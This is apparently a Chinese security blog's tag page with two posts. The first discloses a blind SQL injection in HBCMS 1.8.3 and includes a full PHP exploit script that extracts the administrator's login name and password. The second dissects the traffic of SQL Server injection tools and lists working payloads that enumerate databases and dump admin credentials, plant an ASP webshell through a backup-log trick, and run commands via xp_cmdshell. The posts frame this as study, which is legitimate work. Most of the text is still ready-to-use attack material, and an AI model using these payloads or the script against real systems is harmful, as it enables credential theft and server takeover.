标签 SQL注入 下的文章

HBCMS(宏博)1.8.3 list_resource.php盲注漏洞

影响版本:

HBCMS(宏博)<=1.8.3

漏洞描述:

HBCMS是国内比较知名的PHP内容管理系统,尚未开源,源代码使用zend加密。 符合以下三个条件,便可以通过MySQL盲注获得任意敏感信息,比如管理员帐户或者密码:

  1. 开启用户注册功能
  2. 开启文件上传功能
  3. 默认表前缀(hbcms_)

利用方法:

  1. 注册一个普通会员帐户
  2. 上传一个图片,图片标题一定要和下面的sql语句相匹配,比如标题填写“b”
  3. 在搜索栏的标题填写:b%"  and (select length(login_name) from hbcms_users where id=1)=5  and  "%a%"="%a,如果返回图片,说明为真,如果返回文字:“Nothing here yet! ”,说明为假。

测试用户名长度:b%"  and (select length(login_name) from hbcms_users where id=1)=5  and  "%a%"="%a

测试密码长度:b%"  and (select length(login_pass) from hbcms_users where id=1)=5  and  "%a%"="%a

测试用户名内容:b%"  and (select mid(login_user,1,1) from hbcms_users where id=1) between char(1) and char(255)  and  "%a%"="%a

测试密码内容:b%"  and (select mid(login_pass,1,1) from hbcms_users where id=1) between char(1) and char(255)  and  "%a%"="%a

HBCMS(宏博)1.8.3 list_resource.php盲注漏洞

演示录像下载:

因为手动注入很慢,所以写了个程序来辅助注入,但是上传图片的功能调试了N久也没有搞定,只有注册完了后,手动上传了,效率肯定是大大降低。没办法,编程技术有限。

程序的代码如下,如果使用不来,或者不懂得如何利用这个漏洞的同学,请下载动画演示:http://www.rayfile.com/zh-cn/files/c90682f5-7a42-11df-8103-0015c55db73d/

<?php
/*
options
code by tunpishuang[at]gmail.com(tunps.com)
*/
//the list url
$expUrl=$argv[1];

//the user info to be registered
$regUser='tun';
$regPass='tun';
$regMail='tun@tunps.com';
$regUrl=str_replace('list_resource.php','register.php',$expUrl);
// options for image upload
$fileDir='@D:\img\b.jpg';
$fileTitle='bbbb';
$fileDesc='bbbbbbbbbbb';
$uploadImgUrl=str_replace('list_resource.php','add_resource.php',$expUrl);
/*
register function
*/
if($argc != 3)
{
echo "usage: php.exe script.php url inj/reg \n";
exit;
}
if($argv[2] == 'reg')
{
reg($regUrl,$regUser,$regPass,$regMail);
}
//uploadImg($uploadImgUrl,$fileDir,$fileTitle,$fileDesc);
if($argv[2] == 'inj')
{
inj($expUrl);
}
function reg($regurl,$u,$p,$m)
{
$ch = curl_init();
$urlArr=parse_url($regurl);
$options=array(
CURLOPT_URL=>$regurl,
CURLOPT_RETURNTRANSFER=>true,
CURLOPT_POST=>true,
CURLOPT_POSTFIELDS=>'mod=register_now&next_url=index.php&addon_app=&referrer_id=&login_name='.$u.'&login_pass='.$p.'&confirm_login_pass='.$p.'&login_email='.$m.'&nickname=&gender=0&qq=&mobile=&telephone=&true_name=&website_name=&website_url=&my_question=&my_answer=',
CURLOPT_COOKIESESSION=>true,
CURLOPT_HEADER=>true,
CURLOPT_COOKIEJAR=>'c:\\cookie\\'.$urlArr['host'].'.txt'
);
curl_setopt_array($ch,$options);
$data = curl_exec($ch);
if(strpos($data,'成功')){
printf("register ok :) \n");
curl_close($ch);
return true;
}else{
printf("register failed:(\n");
curl_close($ch);
return false;
}
}
/*
image uploading function
*/
function uploadImg($uploadimgurl,$filedir,$filetitle,$filedesc)
{
$ch = curl_init();
$options=array(
CURLOPT_COOKIEFILE=>'c:\cookie.txt',
CURLOPT_URL=>$uploadimgurl,
CURLOPT_RETURNTRANSFER=>1,
CURLOPT_POST=>1,
CURLOPT_POSTFIELDS=>http_build_query(array(
'MAX_FILE_SIZE'=>'33554432',
'preview_area_id'=>'upload_file',
'editor_area_id'=>'body',
'js_function'=>'',
'resource_id'=>'',
'show_top_part'=>'no',
'file_1'=>$filedir,
'file_title_1'=>$filetitle,
'file_desc_1'=>$filedesc
))
);
curl_setopt_array($ch,$options);
$data = curl_exec($ch);
if(strpos($data,'注意')){
printf("upload ok :) \n");
}else{
printf("upload failed :( \n");
}
curl_close($ch);

}
function getLength($expurl,$min,$max,$field)
{
while($min< $max)
{
$mid=floor(($min + $max) /2);
$leftStr='b%" and (select length('.$field.') from hbcms_users where id=1) between '.$min.' and '.$mid.' and "%a%"="%a';
$rightStr='b%" and (select length('.$field.') from hbcms_users where id=1) between '.$mid.' and '.$max.' and "%a%"="%a';
if(postData($expurl,$leftStr))
{
$max=$mid;
}
if(postData($expurl,$rightStr))
{
$min=$mid;
}
echo "min=".$min."\n";
echo "mid=".$mid."\n";
echo "max=".$max."\n";
}
return $mid;
}
function getStr($expurl,$min,$max,$field,$len)
{
$str=null;
for($i=1;$i<=$len;$i++)
{
while($min<$max)
{
$mid=floor(($min+$max)/2);
$leftNameStr='b%" and (select mid('.$field.','.$i.',1) from hbcms_users where id=1) between char('.$min.') and char('.$mid.') and "%a%"="%a';
$rightNameStr='b%" and (select mid('.$field.','.$i.',1) from hbcms_users where id=1) between char('.$mid.') and char('.$max.') and "%a%"="%a';
if(postData($expurl,$leftNameStr))
{
$max=$mid;
}
if(postData($expurl,$rightNameStr))
{
$min=$mid;
}
echo "min=".$min."\n";
echo "mid=".$mid."\n";
echo "max=".$max."\n";
}
echo chr($mid);
$str.=chr($mid);
$min=32;
$max=126;
}
return $str;
}
function inj($expurl)
{
//ascii code range from 32 to 126
//login_name length range from 2 to 20
//login_pass length range from 5 to 30
$minNameLen=2;
$maxNameLen=20;

$minPassLen=1;
$maxPassLen=33;

$minAscii=32;
$maxAscii=126;

echo 'login name length:'.$nameLen=getLength($expurl,$minNameLen,$maxNameLen,'login_name')."\n";
echo "\n".'login name value :'.$loginValue=getStr($expurl,$minAscii,$maxAscii,'login_name',$nameLen)."\n";
echo 'password length :'.$passLen=getLength($expurl,$minPassLen,$maxPassLen,'login_pass')."\n";
echo "\n".'password value :'.$passValue=getStr($expurl,$minAscii,$maxAscii,'login_pass',$passLen)."\n";
echo "\n".'login name value :'.$loginValue;
}
function postData($expurl,$sqlstr)
{
$ch = curl_init();
$urlArr=parse_url($expurl);
$options=array(
CURLOPT_COOKIEFILE=>'c:\\cookie\\'.$urlArr['host'].'.txt',
CURLOPT_URL=>$expurl,
CURLOPT_RETURNTRANSFER=>1,
CURLOPT_POST=>1,
CURLOPT_POSTFIELDS=>http_build_query(array(
'editor_mark'=>'',
'js_function'=>'',
'show_top_part'=>'yes',
'total_file_num'=>'',
'pageID'=>1,
'category_id'=>'all',
'file_type'=>0,
'title'=>$sqlstr
))
);
curl_setopt_array($ch,$options);
$data = curl_exec($ch);
if(strpos($data,'Nothing'))
{
return false;
}else
{
return true;
}
curl_close($ch);
}

厂商补丁:

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.hbcms.com/

通过SniffX嗅探Domain3.5、NBSI3.0、啊D2.32、Pangolin全面了解SQLServer注入过程

想了解sql注入的过程和原理,网上找了些文章,讲得都比较肤浅,但是我知道有几款国内比较常用的注入工具,比如Domain3.5、NBSI3.0、啊D2.32、还有Pangolin、还有一些国外的。这里随便弄几个来研究一下就ok。这次用到的嗅探工具是sniffx专门嗅探http的数据包,功能不强大,但是足够这次活动的使用。本来想使用ethereal或wireshark,但是里面复制数据包内容老是把没有转码的16进制也复制了过来,有点麻烦。也就是说这两个工具用得不娴熟。

查询数据库信息

本地没有找到好点的有注入漏洞的系统,只好在网上寻找了,先用Domain3.5,运行很好以来就找到个sqlserver,sa权限的注入点,点Domain3.5上面的“开始检测”

通过SniffX嗅探Domain3.5、NBSI3.0、啊D2.32、Pangolin全面了解SQLServer注入过程

以下是Domain3.5中嗅探出来的http数据包:

news_show.asp?id=15618%20and%201=1  
news_show.asp?id=15618%20and%201=2
news_show.asp?id=15618%20and%20exists%20(select%20*%20from%20sysobjects)
news_show.asp?id=15618%20and%20char(124)%2Buser%2Bchar(124)=0
news_show.asp?id=15618;declare%20@a%20int--
news_show.asp?id=15618%20and%20char(124)%2Bdb_name()%2Bchar(124)=0
news_show.asp?id=15618%20And%20IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)=1

以下是NBSI3.0中嗅探出来的http数据包:

news_show.asp?id=15618%20and%20user%2Bchar(124)=0  
news_show.asp?id=15618%20And%20system_user%2Bchar(124)=0
news_show.asp?id=15618%20And%20Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20nvarchar(1))%2Bchar(124)=1
news_show.asp?id=15618%20And%20db_name()%2Bchar(124)=0
news_show.asp?id=15618;declare%20@a%20int--

啊D和Pangolin的数据包这里就不列出来了,都差不多。基本的过程是通过and 1=1和and 1=2来判断是否可注入,一般1=1返回http 200(ok),1=2返回http 500(internal server error)表示injectable。然后and exists(select * from sysobjects)来判断数据库类型,sysobjects是sqlserver每个数据库自带的用来存储数据库信息的表格,access每个数据库自带的表格是msysobjects。判断出来是sqlserver数据库之后,然后用系统自带的变量user,system_user和0比较,system_user是nchar类型,user是char类型,0是肯定是int类型,因为不同类型的数据在sqlserver中无法直接比较,所以对于开启错误提示的sqlserver来说就会报错,顺便将敏感信息也暴了出来:

通过SniffX嗅探Domain3.5、NBSI3.0、啊D2.32、Pangolin全面了解SQLServer注入过程

关于user,system_user的解释,点上面的链接到msdn上去看看。
Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20nvarchar(1))%2Bchar(124)=1cast()作用是将一种数据类型的表达式显式转换为另一种数据类型的表达式。CAST 和 CONVERT 提供相似的功能。IS_SRVROLEMEMBER指示 SQL Server 2005 登录名是否为指定固定服务器角色的成员,返回值类型为int,0表示不是某某成员,1表示是。0x730079007300610064006D0069006E00是'sysadmin'的16进制码,为啥要弄成16进制呢,我猜想可能是怕网站程序过滤点sysadmin关键字,如果页面正常返回(200),则表示该用户是sysadmin。精心将int转换成nvarchar(1)又会暴出类型转换错误,而这就是黑客所需要的信息。db_name()回暴出当前数据库名。
;declare%20@a%20int--申明一个int变量a,作用我不得而知。接下来的工作是列出服务器上的数据库名:(假设服务器上有16个数据库)

news_show.asp?id=15618 And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From master..sysdatabases)%3E0
news_show.asp?id=15618 And char(124)+(Select Top 1 cast([name] as varchar(8000)) from(Select Top 1 dbid,name from [master]..[sysdatabases] order by [dbid]) T order by [dbid] desc)>0
news_show.asp?id=15618 And char(124)+(Select Top 1 cast([name] as varchar(8000)) from(Select Top 2 dbid,name from [master]..[sysdatabases] order by [dbid]) T order by [dbid] desc)>0
news_show.asp?id=15618 And (Select Top 1 cast([name] as nvarchar(4000))%2Bchar(124) from(Select Top 16 dbid,name from **[master].[dbo].[sysdatabases]** order by [dbid]) T order by [dbid] desc)>0

先列出上面UrlEncode的字符

%2B -- '+'  
%3E -- '>'
%20 -- ' '
%2F -- '/'

我只能说这些sql语句构造得是相当的巧妙啊,我开始纳闷了,为啥非要用子查询呢。于是我直接用
Select Top X dbid,name from [master].[dbo].[sysdatabases] order by [dbid]
当X为1,也就是返回第一个的时候,是没有问题的,返回了master,但是X为2的时候就出现错误:
子查询返回的值多于一个。当子查询跟随在 =、!=、<、<=、>、>= 之后,或子查询用作表达式时,这种情况是不允许的。
这个时候子查询就起到了关键作用。还有开始不知道T是啥玩意,后来才知道sqlserver子查询必须要起一个别名,T就是那个别名,然后把查询的语句继续和0比较报错 这样就暴出了所有的数据库名。
第一个select count(1)返回数据库数量。

接下来是猜解表名,假设我们当前的数据库是news,那么首先猜解数据库的表的数量:

news_show.asp?id=15618 And (Select char(124)+Cast(Count(1) as varchar(8000))+char(124) From news..sysobjects where xtype=0x55)>0

xtype的为数据表类型,0x55就是U,就是用户表。其他的参见这里有详细的解释。

然后分别列出表名:

news_show.asp?id=15618 And (Select Top 1 cast(name as nvarchar(4000)) from (Select Top 1 id,name from [news]..[sysobjects] Where xtype=0x55 order by id) T order by id desc)>0

修改第二个Top 1为1到表数就可以了。

然后是猜解列名,假设要猜解的表为Admin,首先得到表在sysobjects中存储的唯一id:

news_show.asp?id=15618 And (Select Top 1 cast(id as nvarchar(20)) from [news].[dbo].[sysobjects] where name='**Admin**')>0

猜解表名,id就是上面查询出来Admin表的id。

news_show.asp?id=15618 And (Select Top 1 cast(name as nvarchar(4000))+char(124) from (Select Top 1 colid,name From [news].[dbo].[syscolumns] Where id =** 1993058136** Order by colid) T Order by colid desc)>0

假设猜解出来的列名有id,AdminName,AdminPassword,AdminPower,Userid,ct
假设只猜解AdminName和AdminPassword的值
首先查看Admin表有多少条记录:

news_show.asp?id=15618 And (Select Cast(Count([AdminName]) as nvarchar(4000))+char(124) From [news]..[Admin] Where 1=1)>0

返回第一列数据:

news_show.asp?id=15618 And (Select Top 1 isNull(cast([AdminName] as nvarchar(4000)),char(32)) char(124) isNull(cast([AdminPassword] as nvarchar(4000)),char(32)) From (Select Top 1 [AdminName],[AdminPassword] From [news]..[Admin] Where 1=1 Order by [AdminName]) T Order by [AdminName] Desc)>0

isNull是判定数据是否为空,为空就返回后面那个char(32)的值也就是空格->‘ ’ 。
后面的以此类推。

读取目录----xp_dirtree

drop掉表,然后在当前数据库创建一个表,有三个字段subdirectory,depth,file

Board.asp?id=494;DROP TABLE techguru;CREATE TABLE techguru(subdirectory nvarchar(400) NULL,depth tinyint NULL,[file] bit NULL)--

清空表的数据,然后把xp_dirtree存储过程的结果存入techguru表,xp_dirtree第一个参数是路径,第二个是深度,为0时无限递归,第三个是文件类型,1为文件夹和文件,0为只显示文件夹。

Board.asp?id=494;DELETE techguru;Insert techguru exec master..xp_dirtree 'c:\',1,1--

开始一个一个的抓取文件,目录名字,每次增加第二个top后面的数

Board.asp?id=494 And (Select Top 1 cast([subdirectory] as nvarchar(400))%2Bchar(124)%2Bcast([file] as nvarchar(1))%2Bchar(124) From(Select Top 1 [subdirectory],[file] From techguru ORDER BY [file],[subdirectory]) T ORDER BY [file] desc,[subdirectory] desc)=0

移除表:

Board.asp?id=494;DROP TABLE techguru--

读取注册表----xp_regread

首先建立一个表,有两列Value和Data

Board.asp?id=494;DROP TABLE \[techguru];CREATE TABLE [techguru\](Value nvarchar(4000) NULL,Data nvarchar(4000) NULL)--

执行xp_regread写入刚建立的表

Board.asp?id=494;DELETE [techguru];Insert [techguru] exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--

读出来

Board.asp?id=494 And (Select Top 1 cast([Data] as nvarchar(4000))%2Bchar(124) From [techguru] order by [Data] desc)=0

删表

Board.asp?id=494;DROP TABLE [techguru]--

上传webshell----backup log xx to disk

备份log,截断1,截断2
第 一 步:建立存一句话木马的表

Board.asp?id=494;create table \[dbo].[shit_tmp\] ([cmd] [image])--

第 二 步:0x7900690061006F006C007500是‘yiaolu’的sql编码

Board.asp?id=494;declare @a sysname,@s nvarchar(4000) select @a=db_name  
(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--

第 三 步:0x3C25657865637574652872657175657374282261222929253E是< %execute(request("a"))%>的hex。

Board.asp?id=494;insert into \[shit_tmp\](cmd) values  
(0x3C25657865637574652872657175657374282261222929253E)--

第 四 步0x64003A005C003100320033002E00610073007000是d:\123.asp的sql编码

Board.asp?id=494;declare @a sysname,@s nvarchar(4000) select @a=db_name  
(),@s=0x64003A005C003100320033002E00610073007000 backup log @a to disk=@s with init,no_truncate--

第 五 步

Board.asp?id=494;Drop table [shit_tmp]--

执行命令

;CREATE TABLE \[X_2894\]([id] int NOT NULL IDENTITY (1,1), [ResultTxt] nvarchar(4000) NULL);  
insert into \[X_2894\](ResultTxt) exec master.dbo.xp_cmdshell 'Dir C:\';
insert into [X_2894] values ('g_over');exec master.dbo.sp_dropextendedproc 'xp_cmdshell'--

;use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')--

And (Select Top 1 CASE WHEN ResultTxt is Null then char(124) else ResultTxt+char(124) End from (Select Top 1 id,ResultTxt from [X_2894] order by [id]) T order by [id] desc)>0

......

And (Select Top 1 CASE WHEN ResultTxt is Null then char(124) else ResultTxt+char(124) End from (Select Top 23 id,ResultTxt from [X_2894] order by [id]) T order by [id] desc)>0

g_over这个是专门插入用来作为命令回显结束的标志。

;DROP TABLE [X_2894];--

本地文件上传

假设上传到服务器c:\down.vbs位置

;exec master.dbo.xp_cmdshell 'del C:\down.vbs'--

;exec master.dbo.xp_cmdshell 'ecHo [DeleteOnCopy] >> C:\down.vbs';exec master.dbo.sp_dropextendedproc 'xp_cmdshell'--

;use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')--

;exec master.dbo.xp_cmdshell 'ecHo Owner=Administrator >> C:\down.vbs';exec master.dbo.sp_dropextendedproc 'xp_cmdshell'--

;use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')--

;exec master.dbo.xp_cmdshell 'ecHo Personalized=5 >> C:\down.vbs';exec master.dbo.sp_dropextendedproc 'xp_cmdshell'--

;use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')--

;exec master.dbo.xp_cmdshell 'ecHo PersonalizedName=My Documents >> C:\down.vbs';exec master.dbo.sp_dropextendedproc 'xp_cmdshell'--

;use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')--

总结来说就是调用xp_cmdshell执行echo 一句句的写入文件。

这次分析算是告一段落,不过还有mysql,access,oracle,db2,infomix..........等待探索。